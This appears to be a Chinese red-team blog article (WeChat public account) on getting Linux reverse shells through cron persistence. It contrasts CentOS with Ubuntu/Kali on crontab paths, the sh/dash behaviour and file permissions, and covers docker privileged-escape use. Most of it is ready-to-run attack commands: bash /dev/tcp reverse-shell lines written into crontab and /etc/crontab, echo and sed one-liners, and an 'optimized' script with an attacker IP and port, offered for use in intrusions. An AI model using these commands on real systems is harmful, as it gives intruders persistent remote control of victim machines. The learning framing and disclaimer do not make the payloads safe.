点击上方“蓝字”,关注更多精彩
计划任务功能在windows系统、Linux系统中历史很悠久了,方便运维管理。而在渗透测试中,利用到计划任务的常见的有挖矿病毒、redis未授权、docker特权模式逃逸、cron提权等,而centos与ubuntu地计划任务是有一定的区别的,不仔细研究一下遇到了真的很折磨人。想起来之前学习redis未授权bash反弹shell的时候,也就在centos上复现了一遍,直到上一篇红日靶场04中就遇到ubuntu系统docker特权模式逃逸写入计划任务的情况,就踩了不少坑。看来以前的粗心偷懒,迟早要找上门。红队是不能有短板的,有的只能是长板与中等板。在这里认认真真总结一下。
0x00 问题总结
看完此篇文章,你能够明白如下问题:
1、bash -i >& /dev/tcp/ip/port 0>&1
为什么在ubuntu默认终端上反弹shell没有用?而在centos上就行?
2、ubuntu为什么将上述命令写入脚本运行在上就可以反弹?
3、centos与ubuntu的计划任务有何不同?
4、/etc/cron与/var/spool/cron有啥区别?
5、sh、dash、bash有啥区别?
6、docker特权模式逃逸该怎么写?
0x01 Linux计划任务crontab
crontab的命令构成为时间+动作,格式(一个空格都不能错):* * * * * xxx
,这里的*
就代表一个时间维度的划分,xxx
代表动作。
其时间维度依次是分、时、日、月、周这五种。
1、常用命令以及参数
crontab -e#编辑计划任务
crontab -l #列出计划任务
crontab -r#删除计划任务
2、相关目录
负责调度各种管理和维护任务的目录:/etc/cron
,重点在第一行的SHELL,下文会提到。
centos计划任务目录:/var/spool/cron/
ubuntu计划任务目录:/var/spool/cron/crontabs/
计划任务日志(系统日志):/var/log/syslog
具体的举例用法可以参考菜鸟教程:https://www.runoob.com/w3cnote/linux-crontab-tasks.html
3、/etc/crontab 和 /var/spool/cron区别
/etc/crontab
(系统级的)系统执行计划
/var/spool/cron/
(用户级的)这个目录是以账号来区分每个用户自己的执行计划
0x02 centos计划任务反弹shell
无论centos、ubuntu还是kali,都有下面这几种方式来计划任务反弹shell,但是不同系统之间有着不同的细微差距。
这里以先以centos系统为例子来说明一下。
法一:crontab -e写入命令
1、centos机器上,输入crontab -e
就会出现一个文件,可以看到这是一个临时的缓存文件,写入下方命令并保存。
*/1 * * * * bash -i >& /dev/tcp/kali_ip/port 0>&1
或者
*/1 * * * * /bin/bash -i >& /dev/tcp/kali_ip/port 0>&1
2、这时候使用crontab -l
命令,就可以看到我们定的计划任务了。
3、同时可以看到在/var/spool/cron
目录下多了一个文件为root
,里面的内容就是刚才写入的bash反弹命令。
4、因为设置了1分钟内,所以会在1分钟内某个时间点成功反弹回来。
法二:echo写入文件
上面的crontab -e
方式其实就是帮我们在/var/spool/cron
目录下创建了一个root
文件而已;所以可以尝试直接使用echo
命令来写入bash
反弹命令到这个文件中,即下方命令:
echo '*/1 * * * * bash -i >& /dev/tcp/kali_ip/port 0>&1' > /var/spool/cron/root
或者
echo '*/1 * * * * /bin/bash -i >& /dev/tcp/kali_ip/port 0>&1' > /var/spool/cron/root
1、先使用crontab -r
删除计划任务,随后输入上方命令echo
写入计划任务成功反弹。
2、那么我有一个疑问,难道文件名必须是root
么?我改成另一个centos
存在的sss
用户行不行?可以的
3、改成其他名字,失败。洗个澡做个饭上个厕所都弹不回来
再次证明:/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名。
法三:crontab -e写入文件
我们知道bash
反弹shell
除了直接输入命令,还可以将命令写入sh
文件,然后bash
运行。那么我新建一个/tmp/1.sh
写入bash
反弹命令,然后再向计划任务中写入这个文件,也是可以成功弹回的。
注意:写入的文件最好统一为绝对路径,不建议相对路径。
法四:echo写入命令和文件到/etc/crontab
1、在/etc/crontab
这个文件中,已经有了官方的介绍
需要添加用户名,才能反弹成功。
0x03 ubuntu计划任务反弹shell
上面介绍了几种关于centos系统的计划任务反弹shell,但是远远不够。因为ubuntu的计划任务反弹shell会比较复杂。
因为ubuntu与kali都是基于debian系统,我下面就拿kali演示了。
法一:crontab -e写入命令
1、crontab -e
时提示选择编辑器。我这里选择的2号即vim
编辑器。
2、填入和centos一样的bash反弹shell语句,可以看到,迟迟没有反弹回来。
3、通过tail -15 /var/log/syslog
来查看,出现了个报错:
(CRON) info (No MTA installed, discarding output)
#(计划任务)信息(没有邮件系统,放弃输出)
Ubuntu系统默认会将计划任务的错误信息以邮件的方式发送给用户,但是由于Ubuntu系统默认没有安装邮件系统,所以真正的报错信息被discarding output(被舍弃)了,而不是No MTA installed,discarding output这句话。
寻找真正的错误信息
想看到真正的报错信息有两种解决办法:
1.安装邮件系统,这个方法就算了,没必要。
2.将计划任务的错误信息输出到一个文件内,那么需要我们修改一下计划任务如下
crontab -e
* * * * * bash -i '>& /dev/tcp/kali_ip/port 0>&1'>/tmp/error.txt 2>&1'
随后等一等,就可以看到真正的报错信息了:/bin/bash没有找到。
那么前面说过,查看计划任务的启动shell,可以在/etc/crontab
下看到,确实没有bash
,只有一个/bin/sh
,换句话说ubuntu
的cron
中命令执行的shell环境是/bin/sh
。
sh与dash
那么这里来找一下到底/bin/sh
是什么,如下图可以看出,sh
其实是指向dash
的一个软连接。而dash是什么呢?
ls -alh /bin/ | grep -w "sh"
综合网上查询的信息得出个结论:Debian和Ubuntu中,/bin/sh默认已经指向dash,dash比bash体积小速度快,兼容性高。dash主要是为了执行脚本而出现,所以不能实现交互,功能相比bash要少很多,语法严格遵守POSIX标准。
举个栗子
在ubuntu系统上执行bash -i >& /dev/tcp/ip/port 0>&1
无法直接反弹shell是因为ubuntu系统打开的终端默认是sh
运行的命令,而sh刚才也提到了,实际上就是dash。dash只能够进行脚本的运行,而bash -i
这个命令,使用到了bash交互的功能,所以sh不能在实现交互,也就反弹失败了。
如果我在ubuntu默认的终端中输入bash
就会切换到bash
终端,进而就可以使用bash -i
了
又或者我是用bash -c
,没有用到bash
交互功能,也可以使用。
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"
关于bash -c
,可以参考我的这篇文章:
回过头来看,crontab -e
在ubuntu系统上,写入的内容,不能是bash -i开头的bash反弹,而应该是bash -c即:
crontab -e
* * * * * bash -c "bash -i >& /dev/tcp/kali_ip/port 0>&1"
法二:echo写入文件
那么按理说写成下方这样,可以反弹了吧,sh不就是用来执行脚本的吗?可是还是没有反弹。这就是坑点之一。
vim /tmp/1.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.159.5/11111 0>&1
echo "*/1 * * * * bash /tmp/1.sh" /var/spool/cron/crontabs/root #ubuntu的计划任务路径目录为/var/spool/cron/crontabs/
通过报错信息可以看到,不安全的模式,需要600的权限!!
是因为,我们echo创建的root文件,默认权限是644,ubuntu这里规定,计划任务root文件的权限必须是600!
修改权限为600,并且还要重启cron服务,才可以成功反弹!
法三:crontab -e写入文件
通过命令crontab -e来创建的计划任务生成的root文件,默认就是600权限!
所以我们不需要再改权限和重启cron服务了,直接编辑就行了。和上述方法一样,这里不赘述了。
法四:echo写入命令和文件到/etc/crontab
这个方法对于ubuntu系统来说尤为重要,尤其是在docker特权模式下逃逸的时候。
在上一篇红日靶场4中,我尝试用法三来反弹shell,结果重启不了cron服务。于是只能用这个法四。
这里就贴上总结和优化后的代码,方便大家以后使用了哈。在渗透的时候,请先备份一下/etc/crontab
文件,然后再添加命令。
#新建一个.sh文件并加执行权限
touch /tmp/test.sh
chmod +x /tmp/test.sh
#写一个sh脚本
echo "#!/bin/bash" /tmp/test.sh
echo "bash -i >& /dev/tcp/192.168.157.5/11111 0>&1" /tmp/test.sh
#sed命令必须是单引号,-i就是修改;$在正则中表示最后一行,a表示在指定行下边插入指定的内容行,$a就是在最后一行插入。
sed -i '$a*/1 * * * * root bash /tmp/test.sh' /etc/crontab
#d表示删除,$d即删除最后一行,也就是刚刚添加的命令
sed -i '$d' /etc/crontab
注意一点,写入/etc/crontab不推荐在运维或者日常使用,只推荐在渗透中使用。因为这是系统级别的计划任务,不是针对用户的,不方便进行管理和识别。
0x04 总结与问题回答
1、bash -i >& /dev/tcp/ip/port 0>&1
为什么在ubuntu默认终端上反弹shell没有用?而在centos上就行?
2、为什么在ubuntu系统上把上述命令写入脚本运行就可以反弹shell了?
问题1、2答:ubuntu
终端默认启用sh
,而sh
指向的是dash shell
,不具备交互功能,只具备脚本运行的功能。
3、centos与ubuntu的计划任务有哪些不同?
-
ubuntu的用户计划任务目录在
/var/spool/cron/crontabs/
,centos在/var/spool/cron/
-
ubuntu用户计划任务文件必须是600权限
4、/etc/cron与/var/spool/cron有啥区别?
-
/etc/cron是系统级别的计划任务文件;/var/spool/cron是用户级别的
-
echo写入命令到/etc/cron时,不影响其权限,适用于docker特权逃逸
5、ubuntu直接编辑/var/spool/cron/crontabs/root
文件设置root
的计划任务是无法成功的,因为文件的权限不是0600。设置的时候尽量使用crontab -e
命令,或者写入/etc/crontab
里面;如果在渗透时用不了crontab -e
命令,可使用法四。至于centos的话,任何方法均可,不受影响。
往期推荐
CVE-2021-4034 Linux Polkit本地提权漏洞
CVE-2021-31760 Webmin CSRF致使RCE
CVE-2022-22965 Spring core RCE漏洞
郑重声明:该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。
原文始发于微信公众号(HACK技术沉淀营):底层原理 | Linux计划任务反弹shell探究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论